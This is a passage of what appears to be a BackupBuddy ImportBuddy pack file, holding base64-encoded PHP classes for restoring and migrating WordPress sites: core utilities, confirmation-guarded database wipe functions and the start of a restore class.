3QgcmVzdWx0cyBub24tbnVtZXJpYy4gVHJpbW1lZCByZXN1bHQ6IGAnIC4gJHRlc3RlZF9tZW1vcnkgLiAnYC4nICk7CgkJCXJldHVybiBmYWxzZTsKCQl9CgoJCXBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1sndGVzdGVkX3BocF9tZW1vcnknXSAgICAgID0gY2VpbCggJHRlc3RlZF9tZW1vcnkgKTsgLy8gUm91bmQgdXAuCgkJcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydsYXN0X3Rlc3RlZF9waHBfbWVtb3J5J10gPSB0aW1lKCk7IC8vIFRpbWVzdGFtcCB0ZXN0IHJlc3VsdHMgd2VyZSBsYXN0IHNhdmVkLgoJCXBiX2JhY2t1cGJ1ZGR5OjpzYXZlKCk7CgoJCUB1bmxpbmsoICR0ZXN0X2ZpbGUgKTsgLy8gRGVsZXRlIHRlc3QgZmlsZSBhcyBpdCBpcyBubyBsb25nZXIgbmVlZGVkLgoKCQlyZXR1cm4gcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWyd0ZXN0ZWRfcGhwX21lbW9yeSddOwoKCX0gLy8gRW5kIHBocF9tZW1vcnlfdGVzdF9yZXN1bHRzKCkuCgoKCS8qKgoJICogR2V0IGEgaHR0cCBoZWFkZXIuIFJldHVybnMgYmxhbmsgc3RyaW5nIGlmIG5vdCBzZXQuCgkgKgoJICogQHBhcmFtIHN0cmluZyAkaGVhZGVyICBIVFRQIEhlYWRlciB0byBnZXQuCgkgKgoJICogQHJldHVybiBtaXhlZCAgQ29udGVudHMgb2YgaGVhZGVyIG9yIGJsYW5rIHdoZW4gbm90IHNldC4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBnZXRIdHRwSGVhZGVyKCAkaGVhZGVyICkgewoJCSRoZWFkZXIgPSBzdHJfcmVwbGFjZSggJy0nLCAnXycsICRoZWFkZXIgKTsgLy8gUG9wdWxhdGVkIHZhcnMgZ2V0IGRhc2ggcmVwbGFjZWQgd2l0aCB1bmRlcnNjb3JlLgoJCWlmICggISBpc3NldCggJF9TRVJWRVJbICdIVFRQXycgLiBzdHJ0b3VwcGVyKCAkaGVhZGVyICkgXSApICkgewoJCQlyZXR1cm4gJyc7CgkJfQoJCXJldHVybiAkX1NFUlZFUlsgJ0hUVFBfJyAuIHN0cnRvdXBwZXIoICRoZWFkZXIgKSBdOwoJfSAvLyBFbmQgZ2V0SHR0cEhlYWRlcigpLgoKCS8qKgoJICogU291cmNlOiBodHRwOi8vc3RhY2tvdmVyZmxvdy5jb20vcXVlc3Rpb25zLzE5MDQyMS9jYWxsZXItZnVuY3Rpb24taW4tcGhwLTUvCgkgKgoJICogQHBhcmFtIGJvb2wgJGNvbXBsZXRlX3RyYWNlICBMb29wIHRocm91Z2ggYWxsIG9mIGRlYnVnX2JhY2t0cmFjZSBvciBub3QuCgkgKgoJICogQHJldHVybiBzdHJpbmcgIERldGFpbGVkIGRlYnVnX2JhY2t0cmFjZQoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGdldENhbGxpbmdGdW5jdGlvbk5hbWUoICRjb21wbGV0ZV90cmFjZSA9IGZhbHNlICkgewoJCSR0cmFjZSA9IGRlYnVnX2JhY2t0cmFjZSgpOwoJCWlmICggJGNvbXBsZXRlX3RyYWNlICkgewoJCQkkc3RyID0gJyc7CgkJCWZvcmVhY2ggKCAkdHJhY2UgYXMgJGNhbGxlciApIHsKCQkJCSRzdHIgLj0gInskY2FsbGVyWydmdW5jdGlvbiddfSgpIjsKCQkJCWlmICggaXNzZXQoICRjYWxsZXJbJ2NsYXNzJ10gKSApIHsKCQkJCQkkc3RyID0gInskY2FsbGVyWydjbGFzcyddfXskY2FsbGVyWyd0eXBlJ119IiAuICRzdHI7CgkJCQl9CgkJCX0KCQl9IGVsc2UgewoJCQkkY2FsbGVyID0gJHRyYWNlWzJdOwoJCQkkc3RyICAgID0gInskY2FsbGVyWydmdW5jdGlvbiddfSgpIjsKCQkJaWYgKCBpc3NldCggJGNhbGxlclsnY2xhc3MnXSApICkgewoJCQkJJHN0ciA9ICJ7JGNhbGxlclsnY2xhc3MnXX17JGNhbGxlclsndHlwZSddfSIgLiAkc3RyOwoJCQl9CgkJfQoJCXJldHVybiAkc3RyOwoJfQoKCgkvKioKCSAqIENvbXBsZW1lbnRzIHRvIERydXBhbDoKCSAqIGh0dHBzOi8vYXBpLmRydXBhbC5vcmcvYXBpL2RydXBhbC9pbmNsdWRlcyUyMWZpbGUuaW5jL2Z1bmN0aW9uL2ZpbGVfdXBsb2FkX21heF9zaXplLzcueAoJICoKCSAqIFJldHVybnMgYSBmaWxlIHNpemUgbGltaXQgaW4gYnl0ZXMgYmFzZWQgb24gdGhlIFBIUCB1cGxvYWRfbWF4X2ZpbGVzaXplLgoJICogYW5kIHBvc3RfbWF4X3NpemUuCgkgKgoJICogQHJldHVybiBpbnQgIFBvc3QgTWF4IHNpemUuCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZmlsZV91cGxvYWRfbWF4X3NpemUoKSB7CgkJc3RhdGljICRtYXhfc2l6ZSA9IC0xOwoKCQlpZiAoICRtYXhfc2l6ZSA8IDAgKSB7CgkJCS8vIFN0YXJ0IHdpdGggcG9zdF9tYXhfc2l6ZS4KCQkJJHBvc3RfbWF4X3NpemUgPSBiYWNrdXBidWRkeV9jb3JlOjpwYXJzZV9waHBfc2l6ZSggaW5pX2dldCggJ3Bvc3RfbWF4X3NpemUnICkgKTsKCQkJaWYgKCAkcG9zdF9tYXhfc2l6ZSA+IDAgKSB7CgkJCQkkbWF4X3NpemUgPSAkcG9zdF9tYXhfc2l6ZTsKCQkJfQoKCQkJLy8gSWYgdXBsb2FkX21heF9zaXplIGlzIGxlc3MsIHRoZW4gcmVkdWNlLiBFeGNlcHQgaWYgdXBsb2FkX21heF9zaXplIGlzCgkJCS8vIHplcm8sIHdoaWNoIGluZGljYXRlcyBubyBsaW1pdC4KCQkJJHVwbG9hZF9tYXggPSBiYWNrdXBidWRkeV9jb3JlOjpwYXJzZV9waHBfc2l6ZSggaW5pX2dldCggJ3VwbG9hZF9tYXhfZmlsZXNpemUnICkgKTsKCQkJaWYgKCAkdXBsb2FkX21heCA+IDAgJiYgJHVwbG9hZF9tYXggPCAkbWF4X3NpemUgKSB7CgkJCQkkbWF4X3NpemUgPSAkdXBsb2FkX21heDsKCQkJfQoJCX0KCQlyZXR1cm4gJG1heF9zaXplOwoJfQoKCS8qKgoJICogQ29tcGxlbWVudHMgdG8gRHJ1cGFsOgoJICogaHR0cHM6Ly9hcGkuZHJ1cGFsLm9yZy9hcGkvZHJ1cGFsL2luY2x1ZGVzJTIxY29tbW9uLmluYy9mdW5jdGlvbi9wYXJzZV9zaXplLzcueAoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJHNpemUgIFBIUCBmb3JtYXR0ZWQgc2l6ZS4KCSAqCgkgKiBAcmV0dXJuIGludCAgU2l6ZS4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBwYXJzZV9waHBfc2l6ZSggJHNpemUgKSB7CgkJJHVuaXQgPSBwcmVnX3JlcGxhY2UoICcvW15ia21ndHBlenldL2knLCAnJywgJHNpemUgKTsgLy8gUmVtb3ZlIHRoZSBub24tdW5pdCBjaGFyYWN0ZXJzIGZyb20gdGhlIHNpemUuCgkJJHNpemUgPSBwcmVnX3JlcGxhY2UoICcvW14wLTlcLl0vJywgJycsICRzaXplICk7IC8vIFJlbW92ZSB0aGUgbm9uLW51bWVyaWMgY2hhcmFjdGVycyBmcm9tIHRoZSBzaXplLgoJCWlmICggJHVuaXQgKSB7CgkJCS8vIEZpbmQgdGhlIHBvc2l0aW9uIG9mIHRoZSB1bml0IGluIHRoZSBvcmRlcmVkIHN0cmluZyB3aGljaCBpcyB0aGUgcG93ZXIgb2YgbWFnbml0dWRlIHRvIG11bHRpcGx5IGEga2lsb2J5dGUgYnkuCgkJCXJldHVybiByb3VuZCggJHNpemUgKiBwb3coIDEwMjQsIHN0cmlwb3MoICdia21ndHBlenknLCAkdW5pdFswXSApICkgKTsKCQl9IGVsc2UgewoJCQlyZXR1cm4gcm91bmQoICRzaXplICk7CgkJfQoJfQoKCn0gLy8gRW5kIGNsYXNzIGJhY2t1cGJ1ZGR5X2NvcmUuCg==
###PACKDATA,FILE_END,/classes/core.php,importbuddy/classes/core.php
###PACKDATA,FILE_START,/classes/import.php,importbuddy/classes/import.php
PD9waHAKY2xhc3MgcGJfYmFja3VwYnVkZHlfaW1wb3J0IHsKCQoJCgkKCQoJCgkKCQoJLyoqCgkgKgl3aXBlUHJlZml4KCkKCSAqCgkgKglDbGVhciBvdXQgdGFibGVzIG1hdGNoaW5nIHN1cHBsaWVkIHByZWZpeC4KCSAqCgkgKglAcmV0dXJuCQkJYm9vbGVhbgkJQ3VycmVudGx5IGFsd2F5cyB0cnVlLgoJICovCglmdW5jdGlvbiB3aXBlUHJlZml4KCAkcHJlZml4LCAkY29uZmlybSA9IGZhbHNlICkgewoJCWlmICggJGNvbmZpcm0gIT09IHRydWUgKSB7CgkJCWRpZSggJ0Vycm9yICM1NDY2NTY2YjogUGFyYW1ldGVyIDIgdG8gd2lwZVByZWZpeCgpIG11c3QgYmUgYm9vbGVhbiB0cnVlIHRvIHByb2NlZWQuJyApOwoJCX0KCQkKCQlpZiAoICRwcmVmaXggPT0gJycgKSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICd3YXJuaW5nJywgJ05vIGRhdGFiYXNlIHByZWZpeCBzcGVjaWZpZWQgdG8gd2lwZS4nICk7CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCAnQmVnaW5uaW5nIHdpcGUgb2YgZGF0YWJhc2UgdGFibGVzIG1hdGNoaW5nIHByZWZpeCBgJyAuICRwcmVmaXggLiAnYC4uLicgKTsKCQkKCQkvLyBDb25uZWN0IHRvIGRhdGFiYXNlLgoJCS8vJHRoaXMtPmNvbm5lY3RfZGF0YWJhc2UoKTsKCQkKCQlnbG9iYWwgJHdwZGI7CgkJJHJvd3MgPSAkd3BkYi0+Z2V0X3Jlc3VsdHMoICJTRUxFQ1QgdGFibGVfbmFtZSBBUyBgdGFibGVfbmFtZWAgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIFdIRVJFIHRhYmxlX25hbWUgTElLRSAnIiAuIGJhY2t1cGJ1ZGR5X2NvcmU6OmRiRXNjYXBlKCBzdHJfcmVwbGFjZSggJ18nLCAnXF8nLCAkcHJlZml4ICkgKSAuICIlJyBBTkQgdGFibGVfc2NoZW1hID0gREFUQUJBU0UoKSIsIEFSUkFZX0EgKTsKCQkkdGFibGVfd2lwZV9jb3VudCA9IGNvdW50KCAkcm93cyApOwoJCWZvcmVhY2goICRyb3dzIGFzICRyb3cgKSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0Ryb3BwaW5nIHRhYmxlIGAnIC4gJHJvd1sndGFibGVfbmFtZSddIC4gJ2AuJyApOwoJCQkkd3BkYi0+cXVlcnkoICdEUk9QIFRBQkxFIGAnIC4gJHJvd1sndGFibGVfbmFtZSddIC4gJ2AnICk7CgkJfQoJCXVuc2V0KCAkcm93cyApOwoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdtZXNzYWdlJywgJ1dpcGVkIGRhdGFiYXNlIG9mICcgLiAkdGFibGVfd2lwZV9jb3VudCAuICcgdGFibGVzLicgKTsKCQkKCQlyZXR1cm4gdHJ1ZTsKCX0gLy8gRW5kIHdpcGVQcmVmaXgoKS4KCQoJCgkKCS8qKgoJICoJd2lwZURhdGFiYXNlKCkKCSAqCgkgKglDbGVhciBvdXQgdGhlIGV4aXN0aW5nIGRhdGFiYXNlIHRvIHByZXBhcmUgZm9yIGltcG9ydGluZyBuZXcgZGF0YS4KCSAqCgkgKglAcmV0dXJuCQkJYm9vbGVhbgkJQ3VycmVudGx5IGFsd2F5cyB0cnVlLgoJICovCglmdW5jdGlvbiB3aXBlRGF0YWJhc2UoICRjb25maXJtID0gZmFsc2UgKSB7CgkJaWYgKCAkY29uZmlybSAhPT0gdHJ1ZSApIHsKCQkJZGllKCAnRXJyb3IgIzU0NjY1NjZhOiBQYXJhbWV0ZXIgMSB0byB3aXBlRGRhdGFiYXNlKCkgbXVzdCBiZSBib29sZWFuIHRydWUgdG8gcHJvY2VlZC4nICk7CgkJfQoJCQoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdtZXNzYWdlJywgJ0JlZ2lubmluZyB3aXBlIG9mIEFMTCBkYXRhYmFzZSB0YWJsZXMuLi4nICk7CgkJCgkJLy8gQ29ubmVjdCB0byBkYXRhYmFzZS4KCQkvLyR0aGlzLT5jb25uZWN0X2RhdGFiYXNlKCk7CgkJCgkJZ2xvYmFsICR3cGRiOwoJCSRyb3dzID0gJHdwZGItPmdldF9yZXN1bHRzKCAiU0VMRUNUIHRhYmxlX25hbWUgQVMgYHRhYmxlX25hbWVgIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyBXSEVSRSB0YWJsZV9zY2hlbWEgPSBEQVRBQkFTRSgpIiwgQVJSQVlfQSApOwoJCSR0YWJsZV93aXBlX2NvdW50ID0gY291bnQoICRyb3dzICk7CgkJZm9yZWFjaCggJHJvd3MgYXMgJHJvdyApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRHJvcHBpbmcgdGFibGUgYCcgLiAkcm93Wyd0YWJsZV9uYW1lJ10gLiAnYC4nICk7CgkJCSR3cGRiLT5xdWVyeSggJ0RST1AgVEFCTEUgYCcgLiAkcm93Wyd0YWJsZV9uYW1lJ10gLiAnYCcgKTsKCQl9CgkJdW5zZXQoICRyb3dzICk7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCAnV2lwZWQgZGF0YWJhc2Ugb2YgJyAuICR0YWJsZV93aXBlX2NvdW50IC4gJyB0YWJsZXMuJyApOwoJCQoJCXJldHVybiB0cnVlOwoJfSAvLyBFbmQgd2lwZURhdGFiYXNlKCkuCgkKCQoJCgkvKglwcmVnX2VzY2FwZV9iYWNrKCkKCSAqCQoJICoJRXNjYXBlIGJhY2tyZWZlcmVuY2VzIGZyb20gc3RyaW5nIGZvciB1c2Ugd2l0aCByZWdleC4gVXNlZCBieSBtaWdyYXRlX3dwX2NvbmZpZygpLgoJICoJQHNlZSBtaWdyYXRlX3dwX2NvbmZpZygpCgkgKgkKCSAqCUBwYXJhbQkJc3RyaW5nCQkkc3RyaW5nCQlTdHJpbmcgdG8gZXNjYXBlLgoJICoJQHJldHVybgkJc3RyaW5nCQkJCQlFc2NhcGVkIHN0cmluZy4KCSAqLwoJZnVuY3Rpb24gcHJlZ19lc2NhcGVfYmFjaygkc3RyaW5nKSB7CgkJLy8gUmVwbGFjZSAkIHdpdGggXCQgYW5kIFwgd2l0aCBcXAoJCSRzdHJpbmcgPSBwcmVnX3JlcGxhY2UoJyMoPzwhXFxcXCkoXFwkfFxcXFwpIycsICdcXFxcJDEnLCAkc3RyaW5nKTsKCQlyZXR1cm4gJHN0cmluZzsKCX0gLy8gRW5kIHByZWdfZXNjYXBlX2JhY2soKS4KCQoJCgkKCQoJCgkKCQoJLy8gVE9ETzogc3dpdGNoIHRvIHVzaW5nIHBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXNfYm94KCkgaW5zdGVhZC4KCS8qKgoJICoJc3RhdHVzX2JveCgpCgkgKgoJICoJRGlzcGxheXMgYSB0ZXh0YXJlYSBmb3IgcGxhY2luZyBzdGF0dXMgdGV4dCBpbnRvLgoJICoKCSAqCUBwYXJhbQkJCSRkZWZhdWx0X3RleHQJc3RyaW5nCQlGaXJzdCBsaW5lIG9mIHRleHQgdG8gZGlzcGxheS4KCSAqCUBwYXJhbQkJCWJvb2xlYW4JCQkkaGlkZGVuCQlXaGV0aGVyIG9yIG5vdCB0byBhcHBseSBkaXNwbGF5OiBub25lOyBDU1MuCgkgKglAcmV0dXJuCQkJCQkJCXN0cmluZwkJSFRNTCBmb3IgdGV4dGFyZWEuCgkgKi8KCWZ1bmN0aW9uIHN0YXR1c19ib3goICRkZWZhdWx0X3RleHQgPSAnJywgJGhpZGRlbiA9IGZhbHNlICkgewoJCWRlZmluZSggJ1BCX1NUQVRVUycsIHRydWUgKTsgLy8gVGVsbHMgZnJhbWV3b3JrIHN0YXR1cygpIGZ1bmN0aW9uIHRvIG91dHB1dCBmdXR1cmUgbG9nZ2luZyBpbmZvIGludG8gc3RhdHVzIGJveCB2aWEgamF2YXNjcmlwdC4KCQkkcmV0dXJuID0gJzxkaXYgaWQ9InBiX2JhY2t1cGJ1ZGR5X3N0YXR1c193cmFwIiBzdHlsZT0icGFkZGluZzogMDsiPjxwcmUgcmVhZG9ubHk9InJlYWRvbmx5IiBpZD0iYmFja3VwYnVkZHlfbWVzc2FnZXMiIHdyYXA9Im9mZiInOwoJCWlmICggJGhpZGRlbiA9PT0gdHJ1ZSApIHsKCQkJJHJldHVybiAuPSAnIHN0eWxlPSJkaXNwbGF5OiBub25lOyAiJzsKCQl9CgkJJHJldHVybiAuPSAnPicgLiAkZGVmYXVsdF90ZXh0IC4gJzwvcHJlPic7CgkJJHJldHVybiAuPSAnPGRpdiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyI+CgkJCTxidXR0b24gY2xhc3M9ImJ1dHRvbiBidXR0b24tcHJpbWFyeSIgb25DbGljaz0iYmFja3VwYnVkZHlfc2F2ZUxvZ0FzRmlsZSgpOyIgc3R5bGU9Im1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG87IGRpc3BsYXk6IGluaGVyaXQ7IGZvbnQtc2l6ZTogMC45ZW07Ij5Eb3dubG9hZCBTdGF0dXMgTG9nICgudHh0KTwvYnV0dG9uPgoJCTwvZGl2Pic7CgkJJHJldHVybiAuPSAnPC9kaXY+JzsKCQkKCQlyZXR1cm4gJHJldHVybjsKCX0KCQoJCgkKCQoJCgkKfSAvLyBFbmQgY2xhc3MuCj8+Cg==
###PACKDATA,FILE_END,/classes/import.php,importbuddy/classes/import.php
###PACKDATA,FILE_START,/classes/restore.php,importbuddy/classes/restore.php
PD9waHAKLyoqCiAqIFJlc3RvcmUgQ2xhc3MKICoKICogQHBhY2thZ2UgQmFja3VwQnVkZHkKICogQGF1dGhvciBEdXN0aW4gQm9sdG9uCiAqIEBjb3B5cmlnaHQgMjAxNAogKi8KCi8qKgogKiBCYWNrdXBCdWRkeSBSZXN0b3JlIENsYXNzCiAqLwpjbGFzcyBiYWNrdXBidWRkeV9yZXN0b3JlIHsKCgkvKioKCSAqIEhvbGRzIGN1cnJlbnQgc3RhdGUgZGF0YS4gUmV0cmlldmUgd2l0aCBnZXRTdGF0ZSgpIGFuZCBwYXNzIG9udG8gbmV4dCBydW4gaW4gdGhlIGNvbnN0cnVjdG9yLgoJICoKCSAqIEB2YXIgYXJyYXkKCSAqLwoJcHVibGljICRfc3RhdGUgPSBhcnJheSgpOwoKCS8qKgoJICogSG9sZCBlcnJvciBzdHJpbmdzIHRvIHJldHJpZXZlIHdpdGggZ2V0RXJyb3JzKCkuCgkgKgoJICogQHZhciBhcnJheQoJICovCglwcml2YXRlICRfZXJyb3JzID0gYXJyYXkoKTsKCgkvKioKCSAqIFRydWUgaWYgYWxyZWFkeSBjb25uZWN0ZWQgdGhpcyBzZXNzaW9uLgoJICoKCSAqIEB2YXIgYm9vbAoJICovCglwcml2YXRlICRfZGJDb25uZWN0ZWQgPSBmYWxzZTsKCgkvKiBfX2NvbnN0cnVjdCgpCgkgKgoJICogUk9MTEJBQ0ssIFJFU1RPUkUKCSAqCgkgKiBAcGFyYW0gc3RyaW5nICR0eXBlICAgICAgICAgUmVzdG9yZSB0eXBlOiByb2xsYmFjayAocm9sbCBiYWNrIGZyb20gaW5zaWRlIFdvcmRQcmVzcyksIHJlc3RvcmUgKGltcG9ydGJ1ZGR5KQoJICogQHBhcmFtIGFycmF5ICAkZXhpc3RpbkRhdGEgIFN0YXRlIGRhdGEgZnJvbSBhIHByZXZpb3VzIGluc3RhbnRpYXRpb24uIFByZXZpb3VzbHkgcmV0dXJuZWQgZnJvbSBnZXRTdGF0ZSgpLgoJICoKCSAqLwoJcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCAkdHlwZSwgJGV4aXN0aW5nX3N0YXRlID0gJycgKSB7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnQ29uc3RydWN0aW5nIHJvbGxiYWNrIGNsYXNzLicgKTsKCgkJaWYgKCAoICdyb2xsYmFjaycgIT0gJHR5cGUgKSAmJiAoICdyZXN0b3JlJyAhPSAkdHlwZSApICkgewoJCQkkdGhpcy0+X2Vycm9yKCAnSW52YWxpZCByZXN0b3JlIHR5cGUgYCcgLiBodG1sZW50aXRpZXMoICR0eXBlICkgLiAnYC4nICk7CgkJCXJldHVybiBmYWxzZTsKCQl9CgoJCXJlZ2lzdGVyX3NodXRkb3duX2Z1bmN0aW9uKCBhcnJheSggJiR0aGlzLCAnc2h1dGRvd25fZnVuY3Rpb24nICkgKTsKCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnU2V0dGluZyByZXN0b3JlIHN0YXRlIGRlZmF1bHRzLicgKTsKCgkJJHRoaXMtPl9zdGF0ZSA9IGFycmF5KAoJCQkndHlwZScgPT4gJHR5cGUsCgkJCSdhcmNoaXZlJyA9PiAnJywgICAgICAgICAgICAgICAgICAgIC8vIEZ1bGwgYXJjaGl2ZSBwYXRoICYgZmlsZW5hbWUuCgkJCSdzZXJpYWwnID0+ICcnLCAgICAgICAgICAgICAgICAgICAgIC8vIENhbGN1bGF0ZWQgYmFja3VwIHNlcmlhbC4KCQkJJ3RlbXBQYXRoJyA9PiAnJywgICAgICAgICAgICAgICAgICAgLy8gVGVtcG9yYXJ5IHBhdGggdG8gZG8gZXh0cmFjdGlvbnMgaW50by4gVHJhaWxpbmcgcGF0aC4KCQkJJ2RhdCcgPT4gYXJyYXkoKSwgICAgICAgICAgICAgICAgICAgLy8gREFUIGZpbGUgYXJyYXkuCgkJCSd1bmRvVVJMJyA9PiAnJywgICAgICAgICAgICAgICAgICAgIC8vIFVSTCB0byB0aGUgdW5kbyBzY3JpcHQsIGVnIGh0dHA6Ly95b3VyLmNvbS9iYWNrdXBidWRkeV9yb2xsYmFja191bmRvLVhYWFhYWFhYLnBocAoJCQknZm9yY2VNeXNxbE1ldGhvZHMnID0+IGFycmF5KCksICAgICAvLyBteXNxbCBtZXRob2RzIHRvIGZvcmNlIGZvciBpbXBvcnRpbmcuIERlZmF1bHQgdG8gZW1wdHkgYXJyYXkgdG8gYXV0by1kZXRlY3QuCgkJCSdhdXRvQWR2YW5jZScgPT4gdHJ1ZSwgICAgICAgICAgICAgIC8vIFdoZXRoZXIgb3Igbm90IHRvIGF1dG8gYWR2YW5jZSAoaWUgZm9yIHdlYi1iYXNlZCByb2xsYmFjayBhdXRvLXJlZnJlc2ggdG8gbmV4dCBzdGVwKS4KCQkJJ21heEV4ZWN1dGlvblRpbWUnID0+IGJhY2t1cGJ1ZGR5X2NvcmU6OmRldGVjdE1heEV4ZWN1dGlvblRpbWUoKSwgICAgICAgICAgIC8vIElmIHNldCB0aGVuIG92ZXJyaWRlIGRldGVjdGVkIG1heCBleGVjdXRpb24gdGltZS4KCQkJJ2RiSW1wb3J0UG9pbnQnID0+IDAsICAgICAgICAgICAgICAgLy8gRm9yIGNvbXBhdCBtb2RlIG15c3FsLCBuZXh0IHJvdyB0byBzdGFydCBpbXBvcnRvIG4uCgkJCSd6aXBNZXRob2RTdHJhdGVneScgPT4gJ2FsbCcsICAgICAgIC8vCVppcCBtZXRob2RzIHRvIHVzZS4gVmFsaWQ6IGFsbCwgemlwYXJjaGl2ZSwgcGNsemlwCgkJCSdyZXN0b3JlRmlsZXMnID0+IHRydWUsCgkJCSdyZXN0b3JlRGF0YWJhc2UnID0+IHRydWUsCgkJCSdtaWdyYXRlSHRhY2Nlc3MnID0+IHRydWUsCgkJCSdkYXRhYmFzZVNldHRpbmdzJyA9PiBhcnJheSgKCQkJCSdzZXJ2ZXInID0+ICcnLAoJCQkJJ2RhdGFiYXNlJyA9PiAnJywKCQkJCSd1c2VybmFtZScgPT4gJycsCgkJCQkncGFzc3dvcmQnID0+ICcnLAoJCQkJJ3ByZWZpeCcgPT4gJycsCgkJCQkndGVtcFByZWZpeCcgPT4gJycsIC8vIFVzZWQgYnkgZGVwbG95bWVudCB0byBpbXBvcnQgdG8gYSB0ZW1wb3JhcnkgcHJlZml4LiBNaWdyYXRpb24gd2lsbCBtaWdyYXRlIGRhdGEgdG8gdGhlIHJlYWwgcHJlZml4IHRob3VnaC4gVGhlbiB0aGUgZGIgd2lsbCBiZSBzd2FwcGVkIG91dCBiZXR3ZWVuIGV4aXN0aW5nIGFuZCB0ZW1wUHJlZml4LgoJCQkJJ3dpcGVQcmVmaXgnID0+IGZhbHNlLAoJCQkJJ3JlbmFtZVByZWZpeCcgPT4gZmFsc2UsIC8vIFRlbXBvcmFyaWx5IHJlbmFtZSBleGlzdGluZyB0YWJsZXMgdG8gYW5vdGhlciBwcmVmaXggZm9yIGFsbG93aW5nIHVuZG8gb2YgZGIgaW1wb3J0LgoJCQkJJ3dpcGVEYXRhYmFzZScgPT4gZmFsc2UsCgkJCQknaWdub3JlU3FsRXJyb3JzJyA9PiBmYWxzZSwKCQkJCSdzcWxGaWxlcycgPT4gYXJyYXkoKSwKCQkJCSdzcWxGaWxlc0xvY2F0aW9uJyA9PiAnJywKCQkJCSdkYXRhYmFzZU1ldGhvZFN0cmF0ZWd5JyA9PiAncGhwJywgLy8gRGVmYXVsdHMgdG8gcGhwIGR1ZSB0byBjaHVua2luZyBhYmlsaXR5LgoJCQkJLy8naW1wb3J0UmVzdW1lRmlsZXMnPT4gYXJyYXkoKSwgLy8gSU1QT1JUQU5UOiBMZWF2ZSB1bnNldCBpbiBkZWZhdWx0LiBPbmNlIHNldCwgZW1wdHl5IGFycmF5IG1lYW5zIGZpbmlzaGVkIGFsbCBmaWxlcy4KCQkJCSdpbXBvcnRSZXN1bWVQb2ludCcgPT4gJycsIC8vIEN1cnJlbnQgZmlsZSBwb2ludGVyIHZhbHVlIChmcm9tIGZ0ZWxsKCkpIGZvciBjaHVua2VkIHJlc3VtZWQgU1FMIGZpbGUgaW1wb3J0LgoJCQkJJ2ltcG9ydGVkUmVzdW1lUm93cycgPT4gMCwgLy8gVG90YWwgbnVtYmVyIG9mIHJvd3MgaW1wb3J0ZWQgdGh1cyBmYXIgd2hlbiBjaHVua2luZy4gW0lORk9STUFUSU9OIE9OTFldCgkJCQknaW1wb3J0ZWRSZXN1bWVGYWlscycgPT4gMCwgLy8gVG90YWwgbnVtYmVyIG9mIFNRTCBxdWVyaWVzIHRoYXQgZmFpbGVkIGV4ZWN1dGlvbmcgd2hlbiBjaHVua2luZy4gW0lORk9STUFUSU9OIE9OTFldCgkJCQknaW1wb3J0ZWRSZXN1bWVUaW1lJyA9PiAwLCAvLyBUb3RhbCB0aW1lIG9mIGFjdHVhbCBpbXBvcnQgd2hlbiBjaHVua2luZy4gW0lORk9STUFUSU9OIE9OTFldCgkJCQknbWlncmF0ZURhdGFiYXNlJyA9PiB0cnVlLAoJCQkJJ21pZ3JhdGVEYXRhYmFzZUJydXRlRm9yY2UnID0+IHRydWUsCgkJCQknbWlncmF0ZVJlc3VtZVN0ZXBzJyA9PiAnJywKCQkJCSdtaWdyYXRlUmVzdW1lUG9pbnQnID0+ICcnLAoJCQkpLAoJCQknY2xlYW51cCcgPT4gYXJyYXkoICAgICAgICAgICAgICAgICAvLyBTdGVwIDYgY2xlYW51cCBvcHRpb25zLgoJCQkJJ3NldF9ibG9nX3B1YmxpYycgPT4gJycsICAgICAgICAvLyBTZWFyY2ggZW5naW5lIHZpc2liaWxpdHkuIEVtcHR5IHN0cmluZyB0byBrZWVwIHRoZSBzYW1lLiB0cnVlIHRvIGVuYWJsZSAob3B0aW9uIHNldCB0byAxKSwgZmFsc2UgdG8gZGlzYWJsZSAob3B0aW9uIHNldCB0byAwKS4KCQkJCSdkZWxldGVBcmNoaXZlJyA9PiB0cnVlLAoJCQkJJ2RlbGV0ZVRlbXBGaWxlcycgPT4gdHJ1ZSwKCQkJCSdkZWxldGVJbXBvcnRCdWRkeScgPT4gdHJ1ZSwKCQkJCSdkZWxldGVJbXBvcnRCdWRkeURpcmVjdG9yeScgPT4gdHJ1ZSwKCQkJCSdkZWxldGVJbXBvcnRMb2cnID0+IHRydWUsCgkJCSksCgkJCSdwb3RlbnRpYWxQcm9ibGVtcycgPT4gYXJyYXkoKSwgICAgIC8vIEFycmF5IG9mIHBvdGVudGlhbCBpc3N1ZXMgZW5jb3VudGVyZWQgdG8gc2hvdyB0aGUgdXNlciBBRlRFUiBpbXBvcnQgaXMgZG9uZS4KCQkJLy8nYmxvZ1B1YmxpY1N0YXR1cycgPT4gJycsCQkJLy8gMSwgMCwgb3IgZW1wdHkgc3RyaW5nIGZvciB1bnRlc3RlZC91bmtub3duLgoJCQknc3RlcEhpc3RvcnknID0+IGFycmF5KCksICAgICAgICAgICAvLyBBcnJheSBvZiBhcnJheXMgb2YgdGhlIHN0ZXAgZnVuY3Rpb25zIHJ1biB0aHVzIGZhci4gV